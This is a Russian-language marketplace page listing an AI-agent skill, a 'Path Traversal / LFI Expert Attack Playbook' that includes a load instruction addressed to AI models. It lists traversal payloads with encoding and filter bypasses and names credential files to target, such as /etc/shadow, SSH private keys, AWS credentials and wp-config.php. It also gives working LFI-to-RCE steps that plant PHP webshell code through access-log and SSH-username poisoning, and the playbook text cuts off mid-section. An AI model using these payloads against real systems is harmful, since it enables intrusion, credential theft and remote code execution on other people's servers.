path-traversal-lfi
БесплатноБез исполняемых скриптовНе проверенPath traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem…
от yaklang★ 2 814 звёзд на GitHubОб этом скилле
SKILL: Path Traversal / Local File Inclusion (LFI) — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert path traversal and LFI techniques. Covers encoding bypass sequences, OS differences, filter bypass, PHP wrapper exploitation, log poisoning to RCE, and the critical distinction between path traversal (read only) vs LFI (execution). Base models miss encoding chains and RCE escalation paths.
0. RELATED ROUTING
Before deep exploitation, you can first load:
- upload insecure files when the primary attack surface is an upload workflow rather than an include or read primitive
- ghost-bits-cast-attack when the target is a Java backend (Spring, Jetty, Undertow, Vert.x) and standard
../,%2e%2e,%252echains are WAF-blocked — Ghost Bits substitutes.with阮(U+962E) and/with阯(U+962F), re-enabling traversal through Spring CVE-2025-41242 and Jetty%2>hex-folding
First-pass traversal chains
../etc/passwd
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..\\..\\..\\windows\\win.ini
1. CORE CONCEPT
Path Traversal: Read arbitrary files by escaping the intended directory with ../ sequences.
LFI: In PHP, when user input controls include()/require() — file is executed as PHP code, not just read.
http://target.com/index.php?page=home
→ Opens: /var/www/html/pages/home.php
Traversal attack:
http://target.com/index.php?page=../../../../etc/passwd
→ Opens: /etc/passwd
2. TRAVERSAL SEQUENCE VARIANTS
The filtering strategy determines which encoding to use:
Basic
../../../etc/passwd
..\..\..\windows\system32\drivers\etc\hosts (Windows)
URL Encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ← %2f = '/'
%2e%2e%5c%2e%2e%5c%2e%2e%5c ← %5c = '\'
Double URL Encoding (when server decodes once, filter checks before decode)
%252e%252e%252f%252e%252e%252f ← %25 = %, double-encoded %2e
..%252f..%252fetc%252fpasswd
Unicode / Overlong UTF-8
..%c0%af..%c0%af ← overlong UTF-8 encoding of '/'
..%c1%9c..%c1%9c ← overlong UTF-8 encoding of '\'
..%ef%bc%8f ← fullwidth solidus '/'
Mixed Encodings
..%2F..%2Fetc%2Fpasswd
....//....//etc/passwd ← double-dot with slash (filter strips single ../)
Filter Strips ../ (so ../ becomes ../ after strip)
....// ← becomes ../ after filter strips ../
..././ ← becomes ../ after filter strips ./
Null Byte Injection (legacy PHP < 5.3.4)
../../../../etc/passwd%00.jpg ← %00 truncates string, strips .jpg extension
../../../../etc/passwd%00.php
3. TARGET FILES AND ESCALATION TARGETS
Linux
/etc/passwd ← user list (usernames, UIDs)
/etc/shadow ← password hashes (requires root-level file read)
/etc/hosts ← internal hostnames → pivot targets
/etc/hostname ← server hostname
/proc/self/environ ← process environment (DB creds, API keys!)
/proc/self/cmdline ← process command line
/proc/self/fd/0 ← stdin file descriptor
/proc/[pid]/maps ← memory maps (loaded libraries with paths)
/var/log/apache2/access.log ← for log poisoning
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log ← SSH attempt log
/var/mail/www-data ← email for www-data user
/home/USER/.ssh/id_rsa ← SSH private key
/home/USER/.ssh/authorized_keys
/home/USER/.bash_history ← command history (credentials!)
/home/USER/.aws/credentials ← AWS keys
/tmp/sess_SESSIONID ← PHP session files (if session.save_path=/tmp)
Web Application Config Files
/var/www/html/.env ← Laravel/Node.js env vars
/var/www/html/config.php ← PHP config
/var/www/html/wp-config.php ← WordPress DB credentials
/etc/apache2/sites-enabled/ ← Apache vhosts
/etc/nginx/sites-enabled/ ← Nginx config
/usr/local/etc/nginx/nginx.conf
Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM ← NTLM hashes (often locked)
C:\inetpub\wwwroot\web.config ← ASP.NET DB connection strings
C:\inetpub\wwwroot\global.asa
C:\xampp\htdocs\wp-config.php
C:\Users\Administrator\.ssh\id_rsa
C:\ProgramData\MySQL\MySQL Server 8\my.ini ← MySQL config
4. PHP LFI → RCE TECHNIQUES
Log Poisoning (most reliable when log is accessible)
Step 1: Inject PHP code into Apache/Nginx access log via User-Agent:
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
Step 2: Include the log file via LFI:
?page=../../../../var/log/apache2/access.log&cmd=id
SSH Log Poisoning
Inject PHP payload as SSH username:
ssh '<?php system($_GET["cmd"]); ?>'@target.com
Then include /var/log/auth.log.
PHP Session File Poisoning
**Ste
Установить path-traversal-lfi в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
FAQ
Что делает скилл path-traversal-lfi?
Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
Как установить скилл path-traversal-lfi?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл path-traversal-lfi запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
theme-factory
Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with…
от Anthropicaccess
Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed…
от Anthropicconfigure
Set up the Discord channel — save the bot token and review access policy. Use when the user pastes a Discord bot token, asks to configure Discord, asks "how…
от Anthropicaccess
Manage iMessage channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed…
от Anthropic